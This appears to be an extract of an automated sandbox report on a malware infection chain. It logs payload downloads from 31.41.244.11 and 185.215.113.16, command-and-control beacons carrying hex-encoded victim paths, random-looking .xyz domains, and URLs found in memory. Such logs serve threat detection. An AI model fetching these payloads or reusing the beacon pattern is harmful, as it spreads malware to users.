Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32X-Sec-Id: 3
Source: global traffic	HTTP traffic detected: GET /search/ HTTP/1.1Host: peerhost59mj7i6macla65r.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80Accept: /X-Reply: 1X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C526F616D696E675C4D6963726F736F66745C57696E646F77735C5374617274204D656E755C50726F6772616D735C537461727475705C4D3569465232302E657865X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/5996006993/M5iFR20.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/399764519/W4KLQf7.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/hell911/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic	DNS traffic detected: DNS query: peerhost59mj7i6macla65r.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: grahm.xyz
Source: global traffic	DNS traffic detected: DNS query: ikswccmqsqeswegi.xyz
Source: global traffic	DNS traffic detected: DNS query: aukuqiksseyscgie.xyz
Source: global traffic	DNS traffic detected: DNS query: ecucwceswgqiscai.xyz
Source: global traffic	DNS traffic detected: DNS query: ggeguiacmksquiwq.xyz
Source: global traffic	DNS traffic detected: DNS query: ikecgokgwsysscqe.xyz
Source: global traffic	DNS traffic detected: DNS query: ausmoiqykiskemym.xyz
Source: global traffic	DNS traffic detected: DNS query: koaywyekuqqeyyww.xyz
Source: global traffic	DNS traffic detected: DNS query: auegquiusggyykii.xyz
Source: global traffic	DNS traffic detected: DNS query: seaamokeuaweaima.xyz
Source: global traffic	DNS traffic detected: DNS query: wmyekoqqyyqyoqgu.xyz
Source: global traffic	DNS traffic detected: DNS query: yqaouccmkggsweqk.xyz
Source: global traffic	DNS traffic detected: DNS query: uiggiccuoaayaqec.xyz
Source: global traffic	DNS traffic detected: DNS query: qamcsicuaqsaaqyw.xyz
Source: global traffic	DNS traffic detected: DNS query: wmeqmmsqaiaayumg.xyz
Source: global traffic	DNS traffic detected: DNS query: ggkswqokuuisecci.xyz
Source: global traffic	DNS traffic detected: DNS query: owswomyokkgkyayg.xyz
Source: global traffic	DNS traffic detected: DNS query: uiqyyqqcscaiaska.xyz
Source: global traffic	DNS traffic detected: DNS query: uiuqygeuogieacgw.xyz
Source: global traffic	DNS traffic detected: DNS query: yqqeqcygyguuwwkk.xyz
Source: global traffic	DNS traffic detected: DNS query: qacmygkcsgcsysmm.xyz
Source: global traffic	DNS traffic detected: DNS query: owiquiwokycswmmw.xyz
Source: global traffic	DNS traffic detected: DNS query: ggyyqmymikikcsew.xyz
Source: global traffic	DNS traffic detected: DNS query: ecyuqucgyqyqeiqg.xyz
Source: global traffic	DNS traffic detected: DNS query: koswyyuqiksguuke.xyz
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: ggqmywegmoqyygiy.xyz
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: yqgckwiqkcgeygak.xyz
Source: global traffic	DNS traffic detected: DNS query: wmwukkaseiecomsm.xyz
Source: global traffic	DNS traffic detected: DNS query: fightlsoser.click
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: cyigqcqwogwqismi.xyz
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: dualstack.reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: ggqqcmcysoceqeik.xyz
Source: global traffic	DNS traffic detected: DNS query: ggsquueekuimuask.xyz
Source: global traffic	DNS traffic detected: DNS query: wmykwaogosecqomu.xyz
Source: global traffic	DNS traffic detected: DNS query: uiuyeseyiukqqkqa.xyz
Source: global traffic	DNS traffic detected: DNS query: msuqawwecqeaciwy.xyz
Source: global traffic	DNS traffic detected: DNS query: cyqakwwoewksakei.xyz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drive-connect.cyou

Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe#0
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe(5
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe/0
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe06001
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe135dH
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe8.exel
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe;N
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeI5b
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exes
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeu
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/399764519/W4KLQf7.exe0%
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/399764519/W4KLQf7.exef%
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/5996006993/M5iFR20.exe
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/encoxx/random.exe
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/encoxx/random.exe=
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe847d
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/hell911/random.exe
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exeV$
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: W4KLQf7.exe.6.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 6f79b29ee1.exe, 00000027.00000002.3073164628.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014424827.00000000039C2000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000002.3073164628.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000002.3073164628.0000000001421000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/
Source: 6f79b29ee1.exe, 00000027.00000002.3073164628.0000000001421000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/Jg
Source: 6f79b29ee1.exe, 00000027.00000003.3014374262.000000000147C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api
Source: 6f79b29ee1.exe, 00000027.00000003.3014181860.00000000039C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/apiE#
Source: 6f79b29ee1.exe, 00000027.00000003.3014181860.00000000039C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/apii
Source: c7017f8470.exe, 00000009.00000003.2490926103.0000000000F17000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000002.2491677377.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000003.2490527422.0000000000F14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/apiv
Source: 6f79b29ee1.exe, 00000027.00000002.3073164628.0000000001414000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou:443/api
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3045425710.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3000853652.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/
Source: 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/(
Source: 5799e5ec40.exe, 00000026.00000003.3000853652.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/1
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3045425710.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3000853652.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/3E
Source: 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/;
Source: 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/=
Source: 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/?E
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3045425710.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/c
Source: 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3045425710.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3000853652.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz?E
Source: 5799e5ec40.exe, 00000026.00000002.3070871988.0000000000489000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://grahm.xyztosh;
Source: curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/
Source: curl.exe, 00000013.00000002.2546759065.0000000002C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/$pb
Source: curl.exe, 0000001B.00000002.2615974320.0000000002AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/&&
Source: curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/-
Source: M5iFR20.exe, 0000000A.00000003.2922045316.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, M5iFR20.exe, 0000000A.00000003.2487881728.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, M5iFR20.exe, 0000000A.00000003.2581657604.000000000128A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/5C417070446174615C4C6F63616C5C54656D705C31303134303831303
Source: curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/6
Source: curl.exe, 0000001B.00000002.2615974320.0000000002AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/H
Source: curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/I044
Source: curl.exe, 00000029.00000002.3024407001.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/M
Source: curl.exe, 0000001B.00000002.2615974320.0000000002AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/N
Source: curl.exe, 00000017.00000002.2580561995.000000000342A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/O
Source: curl.exe, 00000010.00000002.2518679130.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/S
Source: curl.exe, 00000013.00000002.2546759065.0000000002C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/Z
Source: curl.exe, 00000029.00000002.3013621764.0000000000698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/ZL
Source: curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/h
Source: curl.exe, 00000029.00000002.3013621764.0000000000698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/kL
Source: curl.exe, 00000013.00000002.2546759065.0000000002C38000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000002.3013621764.0000000000698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/n64;
Source: curl.exe, 00000010.00000002.2518679130.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/s
Source: curl.exe, 00000010.00000002.2518679130.0000000000597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/t
Source: curl.exe, 00000029.00000002.3013621764.0000000000698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/tL
Source: curl.exe, 0000001B.00000002.2615974320.0000000002AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/v
Source: M5iFR20.exe, 0000001E.00000002.3074070765.0000000001718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peerhost59mj7i6macla65r.com/search/y
Source: skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 5799e5ec40.exe, 00000026.00000002.3070871988.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, 5799e5ec40.exe, 00000026.00000003.2828288514.0000000000A60000.00000004.00001000.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199807592927
Source: 5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199807592927d0wntgMozilla/5.0
Source: 6f79b29ee1.exe, 00000027.00000003.2960938667.0000000003A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 6f79b29ee1.exe, 00000027.00000003.3014424827.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014280407.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014086036.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2960938667.0000000003A10000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2961216614.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 6f79b29ee1.exe, 00000027.00000003.2961216614.00000000039E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
